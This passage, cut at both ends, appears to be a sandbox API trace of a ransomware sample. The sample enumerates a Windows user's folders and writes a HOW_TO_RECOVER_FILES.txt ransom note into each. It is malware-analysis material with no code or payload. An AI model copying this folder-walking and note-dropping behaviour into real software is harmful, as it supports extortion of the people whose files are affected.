nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34641f8*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.068] CloseHandle (hObject=0x80c) returned 1 [0157.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.068] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0157.068] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.069] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.069] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0157.070] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0157.070] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0157.070] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0157.070] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.071] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0157.071] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0157.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0157.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0157.072] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.072] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0157.073] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music", lpFilePart=0x0) returned 0x23 [0157.073] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecf20) returned 1 [0157.077] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0157.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0157.077] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\documents\\my music\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.079] GetFileType (hFile=0x80c) returned 0x1 [0157.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0157.079] GetFileType (hFile=0x80c) returned 0x1 [0157.080] WriteFile (in: hFile=0x80c, lpBuffer=0x3484d40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3484d40*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.081] CloseHandle (hObject=0x80c) returned 1 [0157.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0157.081] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures", lpFilePart=0x0) returned 0x26 [0157.081] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecf20) returned 1 [0157.084] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0157.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0157.085] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\documents\\my pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.087] GetFileType (hFile=0x80c) returned 0x1 [0157.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0157.087] GetFileType (hFile=0x80c) returned 0x1 [0157.087] WriteFile (in: hFile=0x80c, lpBuffer=0x34953e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x34953e8*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.088] CloseHandle (hObject=0x80c) returned 1 [0157.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0157.088] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos", lpFilePart=0x0) returned 0x24 [0157.088] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecf20) returned 1 [0157.091] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0157.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0157.092] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\documents\\my videos\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.093] GetFileType (hFile=0x80c) returned 0x1 [0157.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0157.094] GetFileType (hFile=0x80c) returned 0x1 [0157.094] WriteFile (in: hFile=0x80c, lpBuffer=0x34a5a68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x34a5a68*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.095] CloseHandle (hObject=0x80c) returned 1 [0157.095] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0157.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.095] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\documents\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.096] GetFileType (hFile=0x80c) returned 0x1 [0157.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.096] GetFileType (hFile=0x80c) returned 0x1 [0157.097] WriteFile (in: hFile=0x80c, lpBuffer=0x34a9280*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34a9280*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.098] CloseHandle (hObject=0x80c) returned 1 [0157.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.098] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0157.098] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.098] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.099] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.099] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.099] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0157.099] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.099] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.099] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.099] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.100] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0157.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.100] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\downloads\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.100] GetFileType (hFile=0x80c) returned 0x1 [0157.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.100] GetFileType (hFile=0x80c) returned 0x1 [0157.101] WriteFile (in: hFile=0x80c, lpBuffer=0x34b9e60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34b9e60*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.101] CloseHandle (hObject=0x80c) returned 1 [0157.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.102] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0157.102] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.103] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.103] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.103] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.103] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0157.103] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.103] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.103] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.104] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.104] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0157.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.104] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\HOW_TO_RECOVER_FILES.txt" (normalized: 